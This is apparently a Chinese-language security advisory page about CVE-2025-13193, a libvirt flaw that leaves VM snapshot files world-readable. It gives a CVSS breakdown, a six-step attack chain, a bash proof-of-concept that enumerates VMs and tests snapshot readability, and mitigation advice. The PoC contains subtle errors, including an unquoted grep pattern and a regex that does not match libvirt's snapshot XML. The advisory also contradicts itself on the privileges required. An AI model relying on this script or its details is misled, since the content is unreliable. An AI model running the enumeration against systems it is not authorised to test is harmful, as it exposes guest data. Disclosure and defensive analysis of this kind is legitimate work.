IPBUF安全漏洞报告
English
CVE-2025-13193 CVSS 5.5 中危

CVE-2025-13193: libvirt虚拟机快照信息泄露漏洞

披露日期: 2025-11-17

漏洞信息

漏洞编号
CVE-2025-13193
漏洞类型
信息泄露
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
libvirt

相关标签

CVE-2025-13193libvirt信息泄露虚拟化安全权限配置错误快照安全本地攻击Red HatQEMU虚拟机

漏洞概述

CVE-2025-13193是存在于libvirt虚拟化库中的一个信息泄露漏洞。该漏洞源于外部非活动快照在为已关闭状态的虚拟机创建时被错误地设置为全局可读(world-readable)权限。这一安全缺陷使得非特权用户能够检查虚拟机客户机操作系统的内容,从而导致敏感信息泄露。攻击者利用此漏洞可以在本地环境中获取本不应访问的虚拟机磁盘数据,包括可能的系统配置信息、应用程序数据或其他敏感文件内容。由于该漏洞需要本地访问权限,且CVSS评分仅为5.5,因此被定性为中等严重程度。漏洞已被Red Hat安全团队([email protected])发现并报告,披露日期为2025年11月17日。该漏洞影响libvirt库处理虚拟机快照的权限管理机制,属于虚拟化安全领域的重要安全问题。

技术细节

libvirt是一个开源的虚拟化API库,广泛用于管理虚拟机和容器。在该漏洞中,当用户创建外部非活动快照(external inactive snapshots)时,快照文件会被创建为全局可读权限。对于处于shut-down状态的虚拟机,系统在创建快照时未正确设置文件权限,允许本地非特权用户读取快照内容。攻击者通过本地访问(LOCAL)方式,利用低权限(LOCAL PRIVILEGE)账户即可利用此漏洞。CVSS向量显示攻击复杂度低(AC:L),无需用户交互(UI:N),但可导致高机密性影响(C:H)。快照文件通常包含虚拟机磁盘的完整或增量副本,攻击者可通过分析这些快照文件获取客户机操作系统的数据,包括文件系统内容、配置文件、密钥等敏感信息。

攻击链分析

STEP 1
步骤1
攻击者获得目标系统的本地用户账户,需要具有libvirt相关权限
STEP 2
步骤2
攻击者识别处于shut-off状态的虚拟机,这些虚拟机的快照文件存在权限配置错误
STEP 3
步骤3
攻击者使用virsh命令列出可用的虚拟机快照或检查现有快照文件
STEP 4
步骤4
攻击者直接读取快照文件,由于文件权限设置为全局可读,无需额外提权即可访问
STEP 5
步骤5
攻击者分析快照文件内容,提取虚拟机磁盘中的敏感数据,包括系统文件、应用配置、密钥等
STEP 6
步骤6
攻击者利用获取的敏感信息进行进一步攻击,如横向移动、权限提升或数据窃取

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/bin/bash # CVE-2025-13193 PoC - libvirt Information Disclosure # This PoC demonstrates the information disclosure vulnerability in libvirt # Check if user has access to libvirt if ! groups | grep -q libvirt; then echo "[-] User not in libvirt group" exit 1 fi # List all domains (VMs) echo "[+] Listing available VMs..." virsh list --all # Find VMs in shut-off state echo "[+] Checking for shut-off VMs..." SHUTOFF_VMS=$(virsh list --all | grep shut off | awk '{print $2}') # Attempt to access snapshot files for shut-off VMs for vm in $SHUTOFF_VMS; do echo "[+] Checking VM: $vm" # List snapshots for the VM echo "[+] Listing snapshots for $vm..." virsh snapshot-list $vm 2>/dev/null # Get snapshot XML to find snapshot file location SNAPSHOTS=$(virsh snapshot-list $vm --roots 2>/dev/null | tail -n +3 | head -n -1 | awk '{print $1}') for snap in $SNAPSHOTS; do echo "[+] Checking snapshot: $snap" SNAP_FILE=$(virsh snapshot-dumpxml $vm $snap | grep -oP '(?<=<source file>)[^<]+') if [ -n "$SNAP_FILE" ]; then echo "[+] Snapshot file: $SNAP_FILE" # Try to read the snapshot file (this should fail but succeeds due to vuln) if [ -r "$SNAP_FILE" ]; then echo "[!] VULNERABLE: Snapshot file is world-readable!" echo "[+] File size: $(stat -c%s "$SNAP_FILE") bytes" echo "[+] File permissions: $(stat -c%a "$SNAP_FILE")" fi fi done done echo "[+] Scan complete"

影响范围

libvirt < 修复版本
Red Hat Enterprise Linux 8
Red Hat Enterprise Linux 9
Fedora (受影响的版本)

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 审查并限制libvirt用户组权限,避免将非必要用户加入libvirt组;2) 定期检查/etc/libvirt/目录下快照文件的权限,确保敏感快照文件不被全局读取;3) 使用文件系统ACL限制快照文件访问;4) 启用审计日志监控对快照文件的访问尝试;5) 考虑暂时禁用外部快照功能直到漏洞修复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表